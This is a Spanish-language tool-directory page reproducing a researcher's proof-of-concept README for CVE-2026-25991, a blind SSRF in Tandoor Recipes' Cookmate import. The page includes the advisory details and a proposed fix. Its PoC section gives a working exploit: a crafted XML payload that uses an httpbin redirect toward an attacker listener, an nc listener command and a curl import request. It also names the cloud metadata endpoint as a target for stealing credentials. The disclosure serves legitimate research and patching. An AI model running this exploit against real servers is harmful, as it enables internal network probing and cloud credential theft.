Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25991 — Prueba de concepto de exploit para CVE-2026-25991, un SSRF ciego en la importación de Cookmate de Tandoor Recipes, que permite a usuarios autenticados acceder a recursos internos. | Kitploit
Herramientas/GitHubGitHub/drkim-dev/cve-2026-25991
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónRed Teaming
GitHubdrkim-dev/cve-2026-25991

CVE-2026-25991

Prueba de concepto de exploit para CVE-2026-25991, un SSRF ciego en la importación de Cookmate de Tandoor Recipes, que permite a usuarios autenticados acceder a recursos internos.

Ver Repositorio
21hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25991 PoC - Tandoor Recipes SSRF

Prueba de concepto para SSRF mediante importación de recetas

Divulgación: Reportado originalmente por mí a través de GHSA-j6xg-85mh-qqf7

⚠️ Solo para pruebas de penetración/investigación autorizadas.

Información de la vulnerabilidad

CampoValor
ID CVECVE-2026-25991
Gravedad🔴 Alta
Puntuación CVSS7.7
Vector CVSS[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWECWE-918: Server-Side Request Forgery (SSRF)
Producto afectadoTandoor Recipes ≤ 2.5.0
Versión parcheada2.5.1
AvisoGHSA-j6xg-85mh-qqf7

CVE-2026-25991: SSRF ciego con acceso a red interna mediante importación de recetas

Resumen

Descubrí una vulnerabilidad de Server-Side Request Forgery (SSRF) ciego en la función de importación de recetas Cookmate de Tandoor Recipes. La aplicación no valida la URL de destino después de seguir redirecciones HTTP, lo que permite que cualquier usuario autenticado (incluidos usuarios estándar sin privilegios administrativos) fuerce al servidor a conectarse a recursos internos o externos arbitrarios.

Esta vulnerabilidad puede aprovecharse para escanear puertos de la red interna, acceder a metadatos de instancias en la nube (por ejemplo, el servicio de metadatos de AWS/GCP) o revelar la dirección IP real del servidor.


Detalles

La vulnerabilidad se encuentra en cookbook/integration/cookmate.py, dentro de la clase de integración Cookmate.

  1. Lógica inicial: Al procesar un archivo XML importado, la aplicación extrae el campo imageurl.
  2. Comprobación inicial: La URL se valida mediante la función auxiliar validate_import_url (en cookbook/helper/HelperFunctions.py), que bloquea correctamente los rangos de IP privadas (por ejemplo, 127.0.0.1, 10.0.0.0/8).
  3. La evasión (código vulnerable): Sin embargo, inmediatamente después de la validación, el código usa requests.get(url) para descargar la imagen. De forma predeterminada, la biblioteca requests sigue las redirecciones (allow_redirects=True). La función validate_import_url solo comprueba la URL inicial, pero no valida el destino final después de que ocurre una redirección.

Fragmento de código vulnerable (cookbook/integration/cookmate.py:73):

root@kitploit:~
if validate_import_url(url):
    # CRÍTICO: requests.get sigue redirecciones de forma predeterminada, evadiendo la comprobación inicial.
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

Un atacante puede usar un servicio externo (como httpbin.org) para redirigir la solicitud a una dirección interna restringida (por ejemplo, http://127.0.0.1:80/ o http://169.254.169.254/).

Fundamentalmente, AppImportView (cookbook/views/api.py) permite explícitamente los permisos CustomIsUser, lo que significa que CUALQUIER usuario registrado puede desencadenar esta vulnerabilidad. No se requieren derechos administrativos especiales.


PoC (Prueba de concepto)

Requisitos previos:

  1. Una cuenta de usuario estándar (no administrador) en la instancia de Tandoor.
  2. Python instalado localmente (o cualquier herramienta de escucha HTTP como nc).

Pasos para reproducir:

  1. Configurar un listener (máquina del atacante): Abre una terminal e inicia nc para escuchar conexiones entrantes. Esto simula un servicio interno o un servidor controlado por el atacante.

    root@kitploit:~
    nc -lvnp 9999
    
  2. Crear un payload XML malicioso: Crea un archivo llamado payload.xml. Reemplaza <YOUR_IP> con tu dirección IP pública (o IP alcanzable). Este payload usa httpbin.org para evadir la comprobación inicial de IP privada y redirigir a tu listener.

    root@kitploit:~
    <recipes>
      <recipe>
        <title>SSRF_PoC</title>
        <!-- Redirigir al servicio interno o al listener del atacante -->
        <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
      </recipe>
    </recipes>
    
화면 캡처 2026-02-07 125056
  1. Crear un archivo ZIP: Tandoor requiere que el XML esté dentro de un archivo ZIP.

    root@kitploit:~
    zip payload.zip payload.xml
    
  2. Ejecutar el exploit (mediante API): Inicia sesión como Usuario Estándar (no administrador) para obtener la cookie de sesión y el token CSRF. Luego envía una solicitud POST a /api/import/: (Reemplaza <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> con los valores reales)

    root@kitploit:~
    curl -X POST 'http://<TARGET_URL>/api/import/' \
      -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
      -H 'X-CSRFToken: <CSRF_TOKEN>' \
      -F 'type=COOKMATE' \
      -F '[email protected]' \
      -F 'duplicates=true'
    
화면 캡처 2026-02-07 124915
화면 캡처 2026-02-07 124606
  1. Verificar la conexión: Revisa la terminal de tu listener (nc). Verás una solicitud HTTP GET entrante desde el servidor de Tandoor. Esto confirma que el servidor, actuando en nombre de un usuario estándar, se ha conectado a un recurso externo/interno arbitrario.
    root@kitploit:~
    GET /secret.txt HTTP/1.1
    Host: <YOUR_IP>:9999
    User-Agent: python-requests/2.x.x
    ...
    
화면 캡처 2026-02-07 124642

Impacto

  • Escaneo de red interna: Los atacantes pueden sondear puertos internos para descubrir servicios en ejecución.
  • Fuga de metadatos en la nube: Si se implementa en AWS/GCP/Azure, los atacantes pueden acceder a los metadatos de la instancia (por ejemplo, http://169.254.169.254/latest/meta-data/) para robar credenciales IAM, lo que lleva al compromiso total de la infraestructura.
  • Gravedad: Alta (CVSS ~8.0) porque requiere privilegios bajos (usuario estándar) y puede provocar un impacto significativo (acceso a metadatos/escaneo interno).

Remediación

Deshabilitar el seguimiento automático de redirecciones en la llamada requests.get o implementar una validación estricta para las URL de redirección.

Diff (corrección propuesta):

root@kitploit:~
# cookbook/integration/cookmate.py

# Opción 1: Deshabilitar redirecciones (recomendado)
response = requests.get(url, allow_redirects=False)

# Opción 2: Validar redirecciones
# (Se requiere lógica compleja para comprobar cada salto de redirección contra rangos de IP privadas)
Descargar herramienta